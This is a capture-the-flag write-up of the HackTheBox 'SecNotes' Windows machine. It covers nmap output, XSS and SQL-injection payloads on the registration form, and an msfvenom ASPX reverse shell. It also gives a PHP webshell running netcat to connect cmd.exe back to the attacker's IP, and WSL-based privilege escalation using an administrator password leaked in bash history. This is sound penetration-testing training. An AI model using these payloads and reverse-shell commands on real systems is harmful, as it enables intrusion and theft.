Hackthebox - SecNotes

• Windows

Secnotes

• Box on HTB

Nmap

┌──(root💀kali)-[~/Documents/hackthebox/secnotes]
└─# nmap -T4 -A -p- 10.10.10.97
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-02 10:46 EDT
Nmap scan report for 10.10.10.97
Host is up (0.025s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT     STATE SERVICE      VERSION
80/tcp   open  http         Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
| http-title: Secure Notes - Login
|_Requested resource was login.php
|_http-server-header: Microsoft-IIS/10.0
445/tcp  open  microsoft-ds Windows 10 Enterprise 17134 microsoft-ds (workgroup: HTB)
8808/tcp open  http         Microsoft IIS httpd 10.0
|_http-title: IIS Windows
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows XP|7 (89%)
OS CPE: cpe:/o:microsoft:windows_xp::sp3 cpe:/o:microsoft:windows_7
Aggressive OS guesses: Microsoft Windows XP SP3 (89%), Microsoft Windows XP SP2 (86%), Microsoft Windows 7 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: SECNOTES; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time: 
|   date: 2022-04-02T14:50:46
|_  start_date: N/A
| smb-os-discovery: 
|   OS: Windows 10 Enterprise 17134 (Windows 10 Enterprise 6.3)
|   OS CPE: cpe:/o:microsoft:windows_10::-
|   Computer name: SECNOTES
|   NetBIOS computer name: SECNOTES\x00
|   Workgroup: HTB\x00
|_  System time: 2022-04-02T07:50:47-07:00
|_clock-skew: mean: 2h22m41s, deviation: 4h02m32s, median: 2m39s

TRACEROUTE (using port 445/tcp)
HOP RTT      ADDRESS
1   24.69 ms 10.10.14.1
2   24.84 ms 10.10.10.97

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 150.12 seconds

Port 80

• There is a website in which we can register
• There is also a message disclosing an email address
• So we keep it aside [e-mail] we can also edit our /etc/hosts file and add 10.10.10.97 secnotes.htb in it

• No sqli in the login

• Let's try on the register if we register a user with username <script>alert(1)</script> when we login with it after we have a stored xss:
• So we need to investigate the username parameter and see if it might be vulnerable to sqli

• Let's try with this ' or 1=1; -- we get an internal server error when trying to login with this after but if we register with 'OR 1 OR' it actually works and we get all the tickets
• We even get a user and password: tyler / 92g!mA8BGjOirkL%OG*& along with what looks like an smb folder so definetely worth trying to connect there \\secnotes.htb\new-site

SMB

┌──(root💀kali)-[~/Documents/hackthebox/secnotes]
└─# smbclient \\\\10.10.10.97\\new-site -U tyler
smb: \> download test.txt
download: command not found
smb: \> put test.txt
putting file test.txt as \test.txt (0.0 kb/s) (average 0.0 kb/s)
smb: \> ls
  .                                   D        0  Sat Apr  2 17:04:06 2022
  ..                                  D        0  Sat Apr  2 17:04:06 2022
  iisstart.htm                        A      696  Thu Jun 21 11:26:03 2018
  iisstart.png                        A    98757  Thu Jun 21 11:26:03 2018
  test.txt                            A        0  Sat Apr  2 17:04:06 2022

                7736063 blocks of size 4096. 3395585 blocks available

• We get to a share that hosts the default files of the webserver on port 8808. We have write rights (you can see above that I was able to download a test file) so we could use and aspx reverse shell msfvenom -p windows/shell_reverse_tcp LHOST=tun0 LPORT=5555 -f aspx > shell.aspx

• We put it on the share put shell.aspx

• We launch on listener rlwrap nc -lvp 5555

• We browse to our reverse shell from the website - does not work :$ - our file are deleted

• Let's try to put /usr/share/windows-resources/binaries/nc.exe in it

• We can then make a php file that will launch nc and connect it to our machine so that we get a reverse shell:

<?php
system('nc.exe -e cmd.exe 10.10.14.4 5555')
?>

• We can then browse to the page, and we get a shell
• We can then grab the user flag

Privilege Escalation

• In the desktop of tyler there is a bash.lnk. We could use this from payload all the things to privesc
• Let's see if we have a bash.exe file somewhere

where /R c:\windows bash.exe
c:\Windows\WinSxS\amd64_microsoft-windows-lxss-bash_31bf3856ad364e35_10.0.17134.1_none_251beae725bc7de5\bash.exe

• Now let's find wsl.exe

where /R c:\windows wsl.exe
c:\Windows\WinSxS\amd64_microsoft-windows-lxss-wsl_31bf3856ad364e35_10.0.17134.1_none_686f10b5380a84cf\wsl.exe

• Let's see if we are root with wsl:

c:\Windows\WinSxS\amd64_microsoft-windows-lxss-wsl_31bf3856ad364e35_10.0.17134.1_none_686f10b5380a84cf\wsl.exe whoami
root

• We are root

• Let's launch the bash to get the shell Let's spawn a tty shell

python -c "import pty;pty.spawn('/bin/bash')"

• if we type history we have an instresting output

history
    1  cd /mnt/c/
    2  ls
    3  cd Users/
    4  cd /
    5  cd ~
    6  ls
    7  pwd
    8  mkdir filesystem
    9  mount //127.0.0.1/c$ filesystem/
   10  sudo apt install cifs-utils
   11  mount //127.0.0.1/c$ filesystem/
   12  mount //127.0.0.1/c$ filesystem/ -o user=administrator
   13  cat /proc/filesystems
   14  sudo modprobe cifs
   15  smbclient
   16  apt install smbclient
   17  smbclient
   18  smbclient -U 'administrator%u6!4ZwgwOM#^OBf#Nwnh' \\\\127.0.0.1\\c$
   19  > .bash_history 
   20  less .bash_history
   21  uname -a
   22  pwd
   23  ls -al
   24  history

• We have the password for the admin por smbclient

• smbclient -U 'administrator%u6!4ZwgwOM#^OBf#Nwnh' \\\\10.10.10.97\\c$ And it works! We can actually connect as administrator to an smb share we just need to grab the flag